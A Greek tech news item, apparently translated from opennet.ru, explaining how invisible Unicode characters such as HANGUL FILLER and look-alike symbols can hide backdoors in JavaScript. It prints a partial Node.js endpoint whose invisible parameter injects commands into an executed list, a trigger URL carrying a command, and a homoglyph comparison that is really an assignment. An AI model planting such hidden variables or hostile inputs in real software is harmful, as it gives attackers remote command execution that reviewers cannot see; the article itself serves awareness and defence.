Χρήση αόρατων χαρακτήρων unicode για απόκρυψη ενεργειών στον κώδικα JavaScript

Ακολουθώντας τη μέθοδο επίθεσης Trojan Source που βασίζεται στη χρήση χαρακτήρων Unicode που αλλάζουν τη σειρά εμφάνισης του αμφίδρομου κειμένου, έχει δημοσιευτεί μια άλλη τεχνική για την εισαγωγή κρυφών ενεργειών, η οποία εφαρμόζεται στον κώδικα JavaScript. Η νέα μέθοδος βασίζεται στη χρήση του χαρακτήρα unicode "ㅤ" (κωδικός 0x3164, "HANGUL FILLER"), ο οποίος είναι ένα γράμμα αλλά δεν έχει ορατό περιεχόμενο. Η κατηγορία Unicode στην οποία ανήκει αυτός ο χαρακτήρας επιτρέπεται από την προδιαγραφή ECMAScript 2015 για χρήση σε ονόματα μεταβλητών JavaScript, γεγονός που καθιστά δυνατή τη δημιουργία αόρατων μεταβλητών ή νέων μεταβλητών που δεν διακρίνονται από άλλες μεταβλητές σε δημοφιλείς επεξεργαστές κώδικα όπως το Notepad++ και το VS Code.

Για παράδειγμα, δίνεται ο κώδικας για την πλατφόρμα Node.js, στον οποίο, χρησιμοποιώντας μια μεταβλητή που αποτελείται από έναν χαρακτήρα "ㅤ", κρύβεται μια κερκόπορτα που σας επιτρέπει να εκτελέσετε τον κώδικα που καθορίζεται από τον εισβολέα: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // στην πραγματικότητα λέει "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // κόμμα ακολουθούμενο από \u3164 ];

Με την πρώτη ματιά, μόνο η τιμή χρονικού ορίου διαβιβάζεται μέσω της εξωτερικής παραμέτρου και ο πίνακας με τις εντολές που πρέπει να εκτελεστούν περιέχει μια αβλαβή σταθερή λίστα. Αλλά στην πραγματικότητα, μετά τη μεταβλητή χρονικού ορίου, εκχωρείται η τιμή μιας άλλης αόρατης μεταβλητής με τον κωδικό συμβόλου \u3164, η οποία αντικαθίσταται επίσης στη διάταξη των εκτελέσιμων εντολών. Έτσι, παρουσία μιας τέτοιας δομής, ένας εισβολέας μπορεί να στείλει ένα αίτημα όπως "https://host:8080/network_health?%E3%85%A4=command" για να ενεργοποιήσει το backdoor και να εκτελέσει τον κώδικά του.

Ως άλλο παράδειγμα, δίνεται ο χαρακτήρας "ǃ" (ΦΥΤΕΙΛΙΚΟ ΚΛΙΚ), ο οποίος μπορεί να χρησιμοποιηθεί για να δώσει την εμφάνιση ότι υποδεικνύει ένα θαυμαστικό. Για παράδειγμα, η έκφραση "if(environmentǃ=ENV_PROD){" όταν εκτελείται στο Node.js 14 θα είναι πάντα αληθής, επειδή δεν ελέγχει για διαφορές, αλλά ορίζει τη μεταβλητή "environmentǃ" σε ENV_PROD. Οι παραπλανητικοί χαρακτήρες unicode περιλαμβάνουν "/", "−", "+", "⩵", "❨", "⫽", "꓿" και "∗".

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο